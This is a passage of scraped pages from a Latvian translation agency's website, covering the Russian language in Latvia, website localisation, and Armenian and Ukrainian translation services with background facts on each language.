valodai ir milzīga ietekme daudzu valstu biznesa pasaulē, ne tikai Krievijas teritorijā. KRIEVI LATVIJĀ Latvijas krievi kopā ar Igaunijas un Lietuvas krieviem veido Baltijas krievu grupu ar savdabīgu identitāti un valodas īpatnībām. Latviešu valodā vārds krievi ir cēlies no senslāvu cilts krivičiem, kuri apdzīvoja apvidu uz austrumiem — dienvidaustrumiem no mūsdienu Latvijas (mūsdienās ─ Polockas apvidus). Pirmās ziņas par lielākas senkrievu kopienas vismaz vairāku simtu kopskaitā pašreizējās Latvijas teritorijā izveidošanos ir kopš 15. gadsimta, kad ar strūgām un plostiem ik vasaru pa Daugavu lejup devās simtiem tirgotāju un amatnieku no Polockas un Vitebskas, lai rudenī dotos atpakaļ. Lielākā skaitā krievu migrācija uz Latviju sākusies pēc 1667. gada ortodoksās krievu baznīcas veiktās Nikona reformas, kad, glābjoties no vajāšanām, Latgalē, Sēlijā un Rīgā apmetās liels skaits vecticībnieku bēgļu no Krievijas caristes. Pēc Baltijas zemju pievienošanas Krievijas impērijai 18. gadsimtā, tajās ieradās ievērojams skaits valsts pārvaldes ierēdņu. Latgalē ieceļoja arī pareizticīgie krievu zemnieki un katoļticīgie baltkrievi. Krievu skaita īpatsvars ievērojami mainījās pēc Latvijas okupācijas un Otrā pasaules kara, kad pēc Latvijas vāciešu izceļošanas un Latvijas ebreju iznīcināšanas krievi kļuva par izteikti lielāko Latvijas mazākumtautību. 1959. gada tautas skaitīšanas dati liecināja, ka krievu īpatsvars Latvijā bija audzis no 8,8% līdz 26,6%. PSRS un Latvijas PSR valsts vara dažādos veidos stimulēja krievu imigrāciju, piešķirot ieceļotājiem dažādas sadzīviskas priekšrocības, piemēram, izveidojot skolu tīklu, kur mācību valoda bija krievu valoda (citu mazākumtautību skolas pēc PSRS veiktās okupācijas bija likvidētas), masveidā ceļot bērnudārzus, kas bija paredzēti tikai krievu valodā runājošiem bērniem, piešķirot ārpus kārtas dzīvokļus, dodot krievu valodā runājošiem priekšroku kandidējot uz augstākiem amatiem. Migrācijas process bijis viļņveidīgs: ļoti straujš 1950. —1960. gados, 1970. gados migrācija samazinājās, bet 1980. gadu vidū atkal pieauga. Migrācijai uz Latviju bija rotējošs raksturs ─ katru gadu Latvijā iebrauca tūkstošiem cilvēku, no kuriem liela daļa bija krievi, bet tūkstošiem krievu tautības cilvēki to arī atstāja. Tas diezgan negatīvi ietekmēja iebraucēju adaptācijas spējas, bremzēja intereses veidošanos par Latvijas kultūru. Pēc Latvijas Republikas valstiskuma atjaunošanas krievu skaits un īpatsvars būtiski samazinājās, taču tie joprojām ir Latvijā skaitliski lielākā mazākumtautība: pēc 2019. gada 1. janvāra Iedzīvotāju reģistra datiem Latvijas krievu skaits bija 538 361, no viņiem 345 908 jeb 64,3% bija Latvijas pilsoņi, 147 220 jeb 27,3%) nepilsoņi, bet 45 103 jeb 8,4% citu valstu, galvenokārt, Krievijas Federācijas pilsoņi. Lielākā daļa krievu Latvijā dzīvo pilsētās, izņemot Latgali, kur daudzi krievi dzīvo arī lauku sētās. KRIEVU VALODAS DIENA “Sarežģīti, ironiski, smieklīgi un skaisti” – daudzi krievu valodas apguvēji tā runā par “mūža mīlas dēku” ar krievu valodu. Krievu valodas diena, ko Apvienoto Nāciju Organizācija pasludināja 2010. gadā, ir veltīta kultūras pasākumiem, lasījumiem, lugām un mūzikai. Katru gadu 6. jūnijā Krievu valodas dienā tiek atzīmēta septītā visvairāk runātā valoda pasaulē. Šajā dienā tiek godināts arī krievu dzejnieks Aleksandrs Puškins, kurš tiek uzskatīts par mūsdienu krievu literatūras tēvu. Viņa pirmais dzejolis tika publicēts, kad viņam bija tikai 15 gadu. Daudzi viņa darbi tiek uzskatīti par šedevriem, tostarp “Donžuāna saraksts”, drāma “Akmens viesis” un dzejolis “Bronzas jātnieks”. Šajā dienā krieviski runājošie reģioni kopā ar Krievijas vēstniecības pārstāvjiem rīko dažādus pasākumus un aktivitātes. Daži no šiem pasākumiem ietver muzeju apmeklējumus, tikšanās un lekcijas par Aleksandra Puškina darbiem. Slavenā rakstnieka fani pulcējas kopā un lasa Puškina dzejoļus un stāstus. Krievu valodas diena tika izveidota, lai atzīmētu kultūras daudzveidību un daudzvalodību, kā arī veicinātu visu sešu Apvienoto Nāciju Organizācijas oficiālo darba valodu vienlīdzīgu lietošanu visā organizācijā. KRIEVU VALODAS TULKS UN TULKOTĀJS Skrivanek tulku un tulkotāju komanda strādā gan ar tipveida dokumentu rakstiskajiem tulkojumiem, gan notariāli apliecinātiem tulkojumiem. Tulkošanas birojs Skrivanek nodrošina arī tekstu krievu valodā korektūru un stilistisko uzlabošanu, ja nepieciešams tiek veikta redaktūra un terminoloģijas pārbaude. Nodrošinām visa veida mutiskās tulkošanas pakalpojumus uz un no krievu valodas. Tulkojumi krievu valodā KRIEVU VALODAS KURSI Piedāvājam krievu valodas mācības uzņēmumu un iestāžu darbiniekiem, kā arī individuālos vai grupu krievu valodas kursus privātpersonām. Nodarbības nodrošinām klātienē vai tiešsaistē. Īpašais piedāvājums - apmeklējiet individuālos krievu valodas kursus divatā, maksājot tikai par viena studenta mācībām! Krievu valodas kursi --- > We will provide optimal localisation solutions to make sure your website suits the needs and local characteristics of your region or market. - Published: 2022-10-02 - Modified: 2025-07-03 - URL: https://skrivanek.lv/pakalpojumi/lokalizacija/majas-lapas-tulkosana/ - Translation Priorities: Optional It is well known that nowadays the website is the main business card of every company – freely available to both existing and potential customers and cooperation partners. The interest and faith of visitors in the quality of the offered product or service will also depend on how professional, engaging, easy to understand and interesting it is. So what is one of the most important basic conditions for your website to attract more and more new customers, not only in the domestic market, but also in the export markets? Its availability in a language understandable to visitors is very important. In fact, you can't do without the translation and localisation of a company's website these days. A well-thought-out and cleverly advertised website in the digital environment significantly increases the company's sales both locally and abroad, as well as helps to conquer new markets for the sale of goods and services. Therefore, it is very important to constantly analyse and think about how your existing and potential customers and partners will get the latest information about your company, goods, services, the most current offers, projects and development plans. You can say ─ website visitors can translate everything themselves , by using Google machine translator. However, many studies of the behaviour of internet users confirm the opposite: buyers do not trust websites that are not in a language they understand, because this raises concerns about the reliability of the product and the security of the purchase. Thus, for example, surveys conducted by the European Commission show that 90% of internet users prefer to view websites in the native language or in a language they know. Similarly, about 44% believe that they do not get the most important information about the product if the website is not available in a language they understand. In the global internet environment, only about 52% of all websites are available in English only. Although English is one of the most spoken languages in the world, unfortunately, many companies lose a lot of customers if they do not translate and localise their websites into the most popular languages of the region or even the world. Finally, people spend significantly more time browsing and engaging with websites that have content in their native language and text that is easy and quick to understand. But there is a real-time website translation option where you can use a machine translator. Indeed, real-time website translation using machine translation is already quite an established technology, also provided by the well-known Google. Even children know that right-clicking on a website allows its content to be translated into any desired language, by using Google machine translator. But all of the above should be subordinated to another, more fundamental question – why do you need it and what exactly do you want to achieve? In practice, such real-time website translations have little or no impact on the set of languages covered by the website. These real-time translations do not mean that your potential customer will find your website, for example, in a Google search engine. Websites translated in this way do not contain a static translation into the respective language, do not include SEO keywords and other parameters used by Google robots, and are therefore not indexed. Therefore, if you believe that such a website translation will increase the target audience of your website, it is a misconception. It is important to keep in mind that internet users usually search for the information they want in their native language. Observe yourself how often you use keywords in other languages or search something in non-Google search engines. The conclusion is quite simple: if we want to be successful in foreign markets, the presentation of the company's professional activities in the desired foreign languages by professionals is of great importance. WHAT IS WEBSITE LOCALISATION? Website translation and localisation is a creative and comprehensive process, during which text about a product or service is adapted to the market of a specific country or region, taking into account the linguistic and cultural characteristics of the target audience. Localisation allows you to establish a dialogue with consumers from other countries in a form and manner that they are used to. Professional localisation helps break down cultural and other barriers, successfully addresses the local audience, and makes the product, service or message relevant to the local market. Accordingly, the adaptation and localisation of the content of the webpage requires in-depth knowledge in the specific field and knowledge of the cultural environment of the users of the respective language. Professional translators and content localisation specialists usually also help to evaluate and provide advice regarding the extent to which your prepared text corresponds to the potential target audience – whether it sounds good enough, correctly reflects the main message and is clearly understandable, does not cause negative or ambiguous associations. Five main elements that are taken into account when localising a website: language and region ─ the choice of vocabulary, terms and concepts is adapted in order to accurately and authentically convey the message about the product to potential local customers; cultural elements ─ correct recording of the date and time format, correct use of measurement units and abbreviations, respect for traditions, holidays and public holidays, use of correct background colours, etc. ; elements confirming the transaction ─ the currency of the relevant country is used, payment options are available at the relevant location, the entry of addresses corresponds to the tradition of the local region; elements of communication and trust ─ local phone numbers, customer support in their native language, compliance with specific local legislative requirements that protect consumer rights; navigation and finding information ─ it is no less important that website visitors can quickly and easily find the desired information in their own language. Quality and confidentiality guaranteed by ISO certificates Our project managers speak Latvian, Russian, English, German and Polish99% of customers receive a price quote in less than 15 minutesMore than 3000 language professionals and native speakersMore than 98% of our clients would recommend us to their friends and partnersMore than 60 million words are translated in our office every year RELIABILITY, SPEED AND QUALITY OF SERVICES KRKA d. d. The employees of Skrivanek are helpful, accommodating, and have an understanding approach to the specifics of our pharmaceutical translation tasks and translations from various language combinations. Orders are executed to a high standard in accordance with the highest professional and ethical competence and according to deadlines set.  Sandoz d. d. We recommend Skrivanek Baltic as a reliable partner for any large scale projects requiring professional language services.  Adidas Baltics The employees of Skrivanek are helpful and have an understanding approach to the specifics of our translation tasks from Baltic languages. Adidas Baltic recommends other companies to use the services provided by this company.  If you want to learn more about website translation and localisation, we look forward to your visit, or please write to the Skrivanek Baltic localisation project team. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Client *Private personCompany Name and surname *Telephone Add Remove Name and surname *Telephone Add Remove Company name *Telephone Add Remove Company name *Telephone Add Remove Email *Target language Add Remove Email *Target language Add Remove Additional information, preferably URLHow did you learn about us? How did you learn about us? I am a Skrivanek clientGoogle search engineFriend/acquaintance suggestionFacebookTwitterLinkedInInstagramOutdoor advertisingTrade fair/exhibitionPrinted advertisingOther By clicking the "Send" button, you consent to the processing of your personal data in accordance with Skrivanek Baltic Privacy Policy. Submit MORE THAN 30 YEARS ON THE MARKET! We have vast experience in translating texts on various subjects. 0+ Languages in different combinations 0+ million Words translated in 2024 0+ Language specialists 0 ISO certificates --- > Перевод и локализация ваших веб-сайтов. Мы гарантируем качество и конфиденциальность. Свяжитесь с нами! 👆️ - Published: 2022-10-02 - Modified: 2024-07-18 - URL: https://skrivanek.lv/pakalpojumi/lokalizacija/majas-lapas-tulkosana/ - Translation Priorities: Optional Всем известно, что в наши дни домашняя страница является основной визитной карточкой любого предприятия, будучи постоянно доступной как имеющимся, так и потенциальным клиентам и деловым партнерам. От того, насколько она профессиональна, увлекательна, понятна и интересна, будет зависеть и интерес посетителей, а также их доверие к качеству предлагаемого продукта или услуги. Что же является одним из наиболее существенных условий для того, чтобы ваша интернет-страница привлекала все больше новых клиентов – не только на местном, но и на экспортных рынках? Очень важно наличие версии страницы на понятном посетителям языке. В наше время фактически невозможно обойтись без перевода и локализации домашней страницы предприятия. Продуманная и рационально рекламируемая в цифровой среде интернет-страница заметно увеличивает объемы продаж предприятия как на местном уровне, так и в международном масштабе, помогает завоевать новые рынки сбыта товаров и услуг. Поэтому очень важно непрерывно анализировать и обдумывать, как ваши постоянные и потенциальные клиенты будут получать новейшую информацию о вашем предприятии, товарах, услугах, актуальных предложениях, проектах и планах развития. Можно возразить – ведь посетители все могут перевести сами, воспользовавшись машинным переводчиком Google. Однако многие исследования поведения пользователей Интернета говорят об обратном: покупатели не доверяют интернет-страницам, не имеющим версии на понятном им языке, потому что это вызывает сомнения в надежности продукта и безопасности покупки. Так, например, опросы, проведенные Европейской комиссией, показали, что 90 % пользователей Интернета охотнее просматривают интернет-страницы на родном или другом понятном им языке. Кроме того, приблизительно 44 % считают, что не получают важнейшую информацию о продукте, если страница не имеет версии на понятном им языке. В мировом Интернете лишь приблизительно 52 % всех домашних страниц представлены только на английском языке. Несмотря на то, что английский является одним из наиболее употребительных языков в мире, к сожалению, многие предприятия теряют существенное количество клиентов, отказываясь от перевода и локализации своей домашней страницы на самые популярные языки конкретного региона или даже мира. Наконец, люди проводят намного больше времени, просматривая и углубляясь в содержание домашних страниц, представленных на их родном языке, текст которых легко и быстро воспринимается. Но есть же возможность перевода интернет-страницы машинным переводчиком в реальном времени! Действительно, перевод интернет-страницы машинным переводчиком в реальном времени – довольно старая технология, которую обеспечивает всем известный Google. Даже дети знают, что нажатием на правую кнопку мыши можно перевести содержание страницы при помощи машинного переводчика Google, выбрав любой язык. Но все это зависит от другого намного более фундаментального вопроса – для чего вам это нужно и чего именно вы хотите добиться? На практике такие переводы домашних страниц в реальном времени мало или вообще никак не влияют на совокупность охваченных домашней страницей языков. Наличие перевода страницы в реальном времени не означает, что ваш потенциальный клиент найдет вашу интернет-страницу, например, в поисковике Google. Переведенные таким образом страницы не содержат статичный перевод на соответствующий язык, не включают в себя ключевые слова SEO и другие параметры, используемые роботами Google, и, соответственно, не индексируются. Поэтому если вы считаете, что такой перевод домашней страницы расширяет ее языковую целевую аудиторию, то это не так. Важно помнить, что пользователи Интернета, как правило, ищут необходимую им информацию на своем родном языке – понаблюдайте за собой, насколько часто вы используете ключевые слова на других языках или запросы в поисковиках помимо Google. Вывод очень простой: чтобы добиться успеха на зарубежных рынках, необходимо изложение экономической деятельности предприятия на желаемых иностранных языках, выполненное профессионалами. ЧТО ТАКОЕ ЛОКАЛИЗАЦИЯ ДОМАШНИХ СТРАНИЦ? Перевод и локализация интернет-страниц – это творческий и всесторонний процесс, при котором текстовое описание продукта или услуги адаптируется для рынка конкретной страны или региона, учитывая языковые и культурные особенности целевой аудитории. Локализация позволяет начать диалог с потребителями из других стран в привычной для них форме и манере. Профессиональная локализация устраняет культурные и другие барьеры, успешно обращается к местной аудитории, а также делает продукт, услугу или посыл соответствующими местному рынку. Поэтому адаптация и локализация содержания домашней страницы требует глубоких знаний в конкретной области и осведомленности о культурной среде пользователей соответствующего языка. Кроме того, профессиональные переводчики и специалисты по локализации содержания обычно помогают оценить и консультируют о том, насколько подготовленный вами текст соответствует потенциальной целевой аудитории – достаточно благозвучен, правильно отражает суть и хорошо понятен, не вызывает негативных или двусмысленных ассоциаций. Пять основных элементов, которые учитываются при локализации интернет-страницы: язык и регион – выбор лексики, терминов и понятий адаптируется так, чтобы с точностью и без искажений передать посыл о продукте потенциальным местным клиентам; культурные элементы – правильный формат даты и времени, правильное употребление единиц измерения и сокращений, соблюдение особенностей традиций, выходных и праздничных дней, правильные цвета фона и т. д. ; элементы, подтверждающие сделку, – используется валюта соответствующей страны, доступные в соответствующем месте возможности оплаты, запись адресов совпадает с местными традициями региона; элементы общения и доверия – местные номера телефонов, поддержка клиентов на их родном языке, соблюдение особых требований местного законодательства, охраняющего права потребителей; навигация и поиск информации – не менее важна быстрота и удобство поиска посетителями домашней страницы необходимой информации на своем языке. Гарантия качества и конфиденциальности, подтвержденная сертификатами ISOНаши руководители проектов говорят на латышском, русском, английском, немецком и польском языках99 % клиентов получают ценовое предложение менее чем через 15 минутБолее 3000 лингвистов и носителей языкаБолее 98 % клиентов охотно порекомендовали бы нас своим друзьям и партнерамКаждый год наше бюро переводит свыше 16 миллионов слов Если вы хотите подробнее узнать о переводе и локализации домашних страниц, приходите в гости или пишите команде Skrivanek Baltic, занимающейся проектами локализации. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Клиент *Частное лицоПредприятие Имя и фамилия *Телефон Добавить Удалить Имя и фамилия *Телефон Добавить Удалить Название предприятия *Телефон Добавить Удалить Название предприятия *Телефон Добавить Удалить Электронная почта *Языковая комбинация Добавить Удалить Электронная почта *Языковая комбинация Добавить Удалить Дополнительная информация, пожалуйста, укажите URL-адрес сайта. Как узнали о нас? Как узнали о нас? Являюсь клиентом SkrivanekПоисковая система GoogleРекомендация друга/знакомогоFacebookTwitterLinkedInInstagramНаружная рекламаВыставкаРеклама в печатных СМИДругой вариант *Я даю согласие на обработку личных данных с целью выполнения данного запроса согласно Политике конфиденциальности SIA Skrivanek Baltic. Отправить УЖЕ БОЛЕЕ 25 ЛЕТ НА РЫНКЕ! Мы имеем богатый опыт перевода текстов на различные темы. 0+ Языков в различных комбинациях 0+ млн Слов переведено в 2023 году 0+ Специалистов по различным языкам 0 Сертификата ISO ЧТО НАШИ КЛИЕНТЫ ГОВОРЯТ О НАС Jazz Communications Мы сотрудничаем со Skrivanek Baltic уже несколько лет. Чаще всего нам бывает необходим письменный перевод на латышский, русский и английский, однако приходилось заказывать переводы и на более редкие языки: арабский, эстонский и т. д. Кроме того, мы регулярно пользуемся услугами литературных редакторов, корректоров и копирайтеров латышских текстов. О нашем сотрудничестве остаются только приятные впечатления: руководители проектов (контактные лица) всегда оперативны, отзывчивы и конструктивны, а ценовая политика ясна, открыта и приемлема.  Прокуратура Латвийской Республики Служба административного директора Компания Skrivanek Baltic зарекомендовала себя как профессиональный, надежный партнер, предоставляющий качественные услуги. В рамках сотрудничества у нас не было ни одной претензии относительно работы Skrivanek Baltic, все рабочие вопросы решаются оперативно, общение пронизано взаимопониманием.  Служба государственных доходов Сотрудники Skrivanek Baltic отзывчивы и всегда готовы пойти навстречу. Заказы обрабатываются быстро и качественно, специфическая терминология Службы государственных доходов используется как в переводах юридических текстов, так и при работе с текстами, которые связаны с налоговой и таможенной политикой.  Рижская дума Департамент городского развития Мы очень позитивно оцениваем наше сотрудничество. Skrivanek Baltic − надежный, отзывчивый партнер с превосходными организаторскими способностями. До сих пор наша совместная работа была приятной и успешной − за это, в частности, хотелось бы поблагодарить любезных сотрудников компании, всегда готовых пойти навстречу.  Государственное агентство социального страхования Департамент пенсий отдела международных услуг Компания Skrivanek Baltic зарекомендовала себя как надежный профессиональный партнер, строго следящий за качеством услуг: переводы с использованием отраслевой терминологии выполняются на должном уровне.  --- > General and specialised translations in Armenian language. Interpreting services and other Armenian language solutions. - Published: 2022-09-30 - Modified: 2025-07-02 - URL: https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-armenu-valoda/ - Translation Priorities: Optional ARMENIAN TRANSLATIONS HOW MUCH DOES TRANSLATION INTO ARMENIAN COST? Each order is priced individually. The price of the service is based on many aspects – the deadlines for the translation, the specifics of the text, proofreading, formatting, as well as additional services requested by the client, such as notarisation. IS THE PRICE LIST AVAILABLE? Yes, the price list for translations to/from Armenian is an integral part of the contract, and the client is always informed of the price of the translation before the start of each translation project. Translation prices are determined individually; they are based on the specifics of the translation (written or interpreted), the number of words in the original text, the repetition of the text in the translation and other parameters. Simply send us the material you want to be translated to get an offer that is tailored for you. Contact Skrivanek Baltic today for a free quote on Armenian translation or any other combination of translation and related business services. Our Armenian language services include: Armenian Document Translation Armenian Simultaneous Interpretation Armenian Linguistic Validation Armenian Consecutive Interpretation Armenian Transcription Armenian Typesetting and Graphics Armenian Voiceovers and Subtitling Armenian Staffing Solutions Armenian Multicultural Marketing Armenian Document Management Armenian Deposition Services Armenian Virtual Data Room Services Armenian E-learning Support Looking for a language solution in Armenian? We will prepare a tailored solution and consult you on your subject of interest. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Client *Private personCompany Name and surname *Telephone Add Remove Name and surname *Telephone Add Remove Company name *Telephone Add Remove Company name *Telephone Add Remove Email *Target language Add Remove Email *Target language Add Remove Additional informationDocument upload, max. 20 MB, if document exceeds the limit, write it in your message and we will contact you Click or drag files to this area to upload. You can upload up to 10 files. How did you learn about us? How did you learn about us? I am a Skrivanek clientGoogle search engineFriend/acquaintance suggestionFacebookTwitterLinkedInInstagramOutdoor advertisingTrade fair/exhibitionPrinted advertisingOther By clicking the "Send" button, you consent to the processing of your personal data in accordance with Skrivanek Baltic Privacy Policy. Submit Quality and confidentiality guaranteed by ISO certificates Our project managers speak Latvian, Russian, English, German and Polish99% of customers receive a price quote in less than 15 minutesMore than 3000 language professionals and native speakersMore than 98% of our clients would recommend us to their friends and partnersMore than 60 million words are translated in our office every year THE ARMENIAN LANGUAGE IN FACTS Armenian is one of the languages of the Indo-European family which nowadays is used by 8 million people in the world. The Armenian language is the national language in Armenia and in Nagorno-Karabakh. In addition, part of the Armenian diaspora in Syria, Lebanon, Iran, Iraq, Turkey, Jordan, Israel, Cyprus and elsewhere calls Armenian their mother tongue. Until 1990, education in Armenian schools was in Armenian and Russian, but after the fall of the USSR, the Armenian language became the main language for education and all other schools that had studies in Russian were shut down. In 2010, education in the Russian language was reinstated. Historically there are few remaining facts about the dawn of the Armenian language, but there are facts that date back to the 6th century B. C. The written form of Armenian first appeared in the 5th century when the Armenian alphabet was created. Traditionally there are three Armenian language development periods: the ancient Armenian written language development period from the 5th to the 11th century, which was followed by the middle Armenian language development period from the 12th to the 16th centuries, and the present-day Armenian language period since the 17th century. There are two generally accepted forms of Armenian: east and west. East Armenian has developed on the basis of the Ararat Plain dialect and is spoken in Armenia, Nagorno-Karabakh, Georgia and Iran. The west Armenian language has developed on the basis of Constantinople and the Crimean dialect and is spoken by the Armenian diaspora. This language is also used in education and in media. In Armenian, the stress usually is on the last syllable. Interestingly, the language does not have grammatical gender categories, feminine is made by giving an ending to a word. What makes the language even more difficult to learn is the fact that the Armenian language uses a colon at the end of a sentence, not a full stop and in the place of a comma, a full stop is used. Many sounds in Armenian have no analogue in any other language in the world. Grammatical features between west Armenian and east Armenian have some differences and the phonological systems of the two Armenian literary languages can result in different pronunciations of the same word. There are about 60 dialects in Armenian. Nowadays most common dialect groups are the Ararat dialect in the eastern branch and the Anatolia dialect in the western branch. With the exception of Muslim Hamshenians in Turkey and a part of the Armenians from the North Caucasus, other dialect speakers also use one of the two literary forms when interacting with speakers of other dialects and in official business, work and education. THE ARMENIAN ALPHABET The development of the Armenian alphabet is still a unique event in the history of linguistics in the world. In the Armenian alphabet, there are 39 letters for 36 sounds. It’s one of the richest alphabets in the world. The alphabet consists of 7 vowels and 29 consonants, also there are 3 additional letters which usually stand for sound compounds. In the Armenian alphabet, the letters also are used for numbers. The Armenian alphabet was made in the year 405 and the creator was an Armenian monk, theologian and linguist, Mesrop Mashtots. At the end of the 4th-century, Armenian ruler, Vramshapuh asked the distinguished scientist to develop a new alphabet for the Armenian language. Before that, the Armenian language used Cuneiform for writing, but the Armenian clergymen thought that it was not suitable for the writing of religious texts. Mashtots went to Alexandria where he studied the basics of writing and came to the conclusion that the Greek alphabet was the most suitable for the creation of the Armenian alphabet. He used the Greek alphabet as a sample for the new alphabet and he showed it to the ruler when he returned to Armenia in 405. The new alphabet received recognition and already in that year, a new translation of the Bible in Armenian was written. Soon after, other literary works appeared. The ancient Armenian alphabet is also used in today's east Armenian and west Armenian languages. Although the compositions of the sounds in both languages are slightly different, the same number of graphemes is used to denote them, with slight variations. Significantly in all this time, there have been no substantial changes. In 2005 all Armenian people celebrated the Armenian alphabet's 1600 year anniversary, which is one of the oldest alphabets in the world. In honour of this significant occasion, on the east side slope of Mount Aragats 39 letters of the Armenian alphabet were erected. There is no such monument to the letters anywhere else in the world. WHERE AND HOW MANY SPEAK ARMENIAN? Armenian is spoken by about 8 million people of which about 3 million live in Armenia, and others are outside its borders in Russia, Georgia, Ukraine, the Middle East, and in southeast Europe ─ Bulgaria, Romania, Greece, and in France the Armenians are one of the biggest diasporas. Armenian emigration to North America began in the 19th century, and today around 2 million people in the USA and Canada consider Armenian their mother tongue. In the 1990s after the Nagorno-Karabakh conflict and following the financial crisis, the number of Armenian migrants to Baltic states grew. About 4 thousand Armenian live in Latvia. The Armenian Apostolic Church of Saint Gregory the Illuminator is located in Riga. HOW DIFFICULT IS ARMENIAN? Taking into account the fact that Armenian is one of the oldest languages in the world, having its own unique alphabet, learning Armenian is really difficult. The Armenian alphabet has 17 centuries of history. It is unique and has no analogue in any other language, that’s why you would need approximately 5 years of intensive studies to call yourself fluent in Armenian. But that of course varies from person to person. Many linguistic experts point out that the most effective way to learn a language is to be in the country daily, where it's spoken by almost everyone. It’s an opportunity to get to use the language and learn it through the history, traditions and culture. Nowadays one of the main reasons for why people want to learn it is because of its uniqueness, the Armenian peoples’ mystique and also for its history and traditions. ARMENIAN LANGUAGE INTERPRETER AND TRANSLATOR The Skrivanek translation agency provides translations of various documents and texts in Armenian for both individuals and businesses. The translation is carried out by Armenian translators with many years of experience in translation and professional knowledge in the field in which the original text is in. All translations are carried out in accordance with the translation process management standard ISO 17100:2015. Our Armenian proof-readers will take care of the stylistic improvement and editing of the text. Corresponding with our client needs, we can provide regular translations of business texts, and as well as notarised translations into Armenian, signed by a certified professional Armenian translator and a sworn notary. We provide technical documentation, translation of web pages, contract and e-commerce translations from or into Armenian. We will accommodate every client’s need by finding the best possible solution and a language specialist. For individuals, we provide written translation of personal documents, marriage certificates, education certificates, and other civil documents. We also offer interpreting from or into Armenian for individuals, for example at weddings. Armenian translators from Skrivanek will always be honoured to help out with interpreting in court or in important business meetings. ARMENIAN LANGUAGE IN BUSINESS Armenian in business is primarily used only in Armenia. For 98% of Armenians, the language is their mother tongue and is used in day-to-day communication. For business communication with partners from other countries English and Russian is used. SOLUTIONS THAT WE PROVIDE MOST OFTEN FROM/TO ARMENIAN: general and specialised translation; notary-certified translation; localisation; neural machine translation; DTP – desktop publishing; text adaptation and copywriting; interpreting; language training; linguistic auditing. LANGUAGE COMBINATIONS: Latvian to Armenian; Armenian to Latvian; Estonian to Armenian; Armenian to Estonian; Lithuanian to Armenian; Armenian to Lithuanian; Russian to Armenian; Armenian to Russian; Czech to Armenian; Armenian to Czech; Polish to Armenian; Armenian to Polish; Ukrainian to Armenian; Armenian to Ukrainian; Armenian to Spanish; Spanish to Armenian; German to Armenian; Armenian to German; Italian to Armenian; Armenian to Italian; French to Armenian; Armenian to French; Danish to Armenian; Armenian to Danish; Norwegian to Armenian; Armenian to Norwegian; Swedish to Armenian; Armenian to Swedish; Finnish to Armenian; Armenian to Finnish, English to Armenian; Armenian to English and others. SOLUTIONS THAT WE PROVIDE MOST OFTEN FROM/TO ARMENIAN: general and specialised translation; notary-certified translation; localisation; neural machine translation; DTP – desktop publishing; text adaptation and copywriting; interpreting; language training; linguistic auditing. LANGUAGE COMBINATIONS: Latvian to Armenian; Armenian to Latvian; Estonian to Armenian; Armenian to Estonian; Lithuanian to Armenian; Armenian to Lithuanian; Russian to Armenian; Armenian to Russian; Czech to Armenian; Armenian to Czech; Polish to Armenian; Armenian to Polish; Ukrainian to Armenian; Armenian to Ukrainian; Armenian to Spanish; Spanish to Armenian; German to Armenian; Armenian to German; Italian to Armenian; Armenian to Italian; French to Armenian; Armenian to French; Danish to Armenian; Armenian to Danish; Norwegian to Armenian; Armenian to Norwegian; Swedish to Armenian; Armenian to Swedish; Finnish to Armenian; Armenian to Finnish, English to Armenian; Armenian to English and others. --- > General and specialised translations, notary-certified translations, interpreting services and other Ukrainian language solutions. - Published: 2022-09-30 - Modified: 2025-07-02 - URL: https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-ukrainu-valoda/ - Translation Priorities: Optional Translations and Other Language Solutions in Ukrainian Language 1 Send inquiry UKRAINIAN TRANSLATIONS HOW MUCH DOES TRANSLATION IN UKRAINIAN COST? The cost of each translation from/to Ukrainian is determined separately, various elements are considered – the volume of the material to be translated, deadlines, specifics of the content, repetitions in the text, graphical processing, text formatting, correction, as well as additional services chosen by the client (notarised certificate and other services). IS THE PRICE LIST AVAILABLE? Of course, in order to determine the exact costs of the translation, we will wait for your material to be sent to our e-mail. Our translation project managers will contact you and inform you about the translation costs before starting the project. The translation cost is determined in accordance with the currently effective Skrivanek price list, based on the number of words in the text, duplication of text in the translation, and other parameters. We provide 100% confidentiality and take full responsibility for the text processing quality and completion of every project, disregarding its volume or difficulty level. Contact Skrivanek Baltic today for a free quote on Ukrainian translation or any other combination of translation and related business services. Our Ukrainian language services include: Ukrainian Document Translation Ukrainian Simultaneous Interpretation Ukrainian Linguistic Validation Ukrainian Consecutive Interpretation Ukrainian Transcription Ukrainian Typesetting and Graphics Ukrainian Voiceovers and Subtitling Ukrainian Staffing Solutions Ukrainian Multicultural Marketing Ukrainian Document Management Ukrainian Deposition Services Ukrainian Virtual Data Room Services Ukrainian E-learning Support Looking for a language solution in Ukrainian? We will prepare a tailored solution and consult you on your subject of interest. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Client *Private personCompany Name and surname *Telephone Add Remove Name and surname *Telephone Add Remove Company name *Telephone Add Remove Company name *Telephone Add Remove Email *Target language Add Remove Email *Target language Add Remove Additional informationDocument upload, max. 20 MB, if document exceeds the limit, write it in your message and we will contact you Click or drag files to this area to upload. You can upload up to 10 files. How did you learn about us? How did you learn about us? I am a Skrivanek clientGoogle search engineFriend/acquaintance suggestionFacebookTwitterLinkedInInstagramOutdoor advertisingTrade fair/exhibitionPrinted advertisingOther By clicking the "Send" button, you consent to the processing of your personal data in accordance with Skrivanek Baltic Privacy Policy. Submit Quality and confidentiality guaranteed by ISO certificates Our project managers speak Latvian, Russian, English, German and Polish99% of customers receive a price quote in less than 15 minutesMore than 3000 language professionals and native speakersMore than 98% of our clients would recommend us to their friends and partnersMore than 60 million words are translated in our office every year INTERESTING FACTS ABOUT THE UKRAINIAN LANGUAGE The Ukrainian language (native name: украї́нська мо́ва, romanised: ukrainska mova), historically also called Ruthenian, is a Slavic language of the Indo-European language family. It is the official language in Ukraine and one of the official languages in the Pridnestrovian Moldavian Republic. Most Ukrainian speakers live in Ukraine. It is the second or third largest Slavic language after Russian and Polish with around 45 million Ukrainian speakers. The Ukrainian writing system uses Cyrillic. Similar languages to Ukrainian are Rusyn, which some linguists consider to be a Ukrainian dialect, Belarusian and Russian. Standard Ukrainian is regulated by the National Academy of Sciences of Ukraine, particularly its Institute of Ukrainian Language, Ukrainian Language Information Foundation, and Potebnia Institute of Linguistics. The origins of the Ukrainian language can be traced to the Old East Slavic Language, which was spoken by inhabitants of Kievan Rus from the 10th to 